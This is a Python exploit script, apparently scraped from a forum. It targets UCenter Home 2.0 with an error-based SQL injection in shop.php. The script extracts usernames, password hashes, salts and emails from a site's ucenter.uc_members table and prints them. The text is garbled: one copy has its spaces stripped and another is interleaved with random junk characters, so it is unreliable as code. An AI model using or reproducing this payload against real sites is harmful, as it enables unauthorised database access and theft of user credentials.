#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl0 T! @! K' u6 R7 K* w
~' f0 D h/ E% `
2 o4 I7 ~ Y( k" W9 F#!/usr/bin/env python 6 w" o/ V! A$ r7 P
( p- r; q j2 _
import sys . O, p0 q: _( P& L: B+ Z3 Z4 i) q
import urllib2 / E, W- t2 W5 w* a8 F
import re
& |, L4 r n5 [6 H5 c* K : S9 A" e. ?# L% w$ ?
def info():
' y, l1 \( u% T% a: |1 f) w print 'From:http://www.exploit-db.com/exploits/14997/'
+ T" o) P4 }: s0 X print 'http://www.hake.cc/Web_loudong/' 8 O' F1 |" O6 g! _% y: b9 i
print 'changed:qiaoy'
0 A2 b( I/ T6 Q( \ print 'exp:'
0 \# X5 y/ {6 a2 S print ' ./UCenter_Home_2.0.py site'
" R5 s1 W6 I. X% Z
8 p( ~2 {; q: E. |9 r8 I5 hdef main(): ! P) g4 |+ |+ @2 b/ l( @
if len(sys.argv) != 2: 9 c9 g: q/ V* j O) h
info() # M8 _) ~: p+ J. P" u1 `
else: H! S. Y# ~ T' @1 p6 u9 Z/ R
site = sys.argv[1]
" Y A- x1 ?) o y if site[0:7] == 'http://': 3 x( q4 {' {, n2 f7 Y+ J
sitesite =site
+ O" z H4 d% _& b elif site[0:8] == 'https://':
9 i, E9 N9 R! W% ~ sitesite = site 7 o$ b. p" }/ P% u& {4 O$ w) H
else: ' R, [4 f1 A% d
site = 'http://'+site
5 |8 {! J+ u# \. v2 B$ y& p try: + i# u/ G: a% X/ _% M
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
; k S& q% ~2 b Value = urllib2.urlopen(url).read()
. f5 t: O2 w4 D Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0] 4 [. L' i, ?8 o4 ]
hacked = Msg.split(':') . _! y. f# i8 ?6 x% r" M, U5 `
print 'Name: '+hacked[1] ! s# u/ @" u5 }, p e7 _0 |
print 'Passwd: '+hacked[2]
1 t; X4 z/ a: B3 ^3 G2 { print 'salt: '+hacked[3] 1 B; Z' {: w/ A& }
print 'email: '+hacked[4]
$ V# w# g5 F2 C except: 0 a! |' v T9 z2 P' o0 A
print 'Sorry,I can\'t work............'
, g( R* q# X; L# d( [) ~
; s% l3 M" N5 M E, j* X7 Mif __name__ == '__main__':
! A* l+ W! ~/ y _: i4 Z' { main() |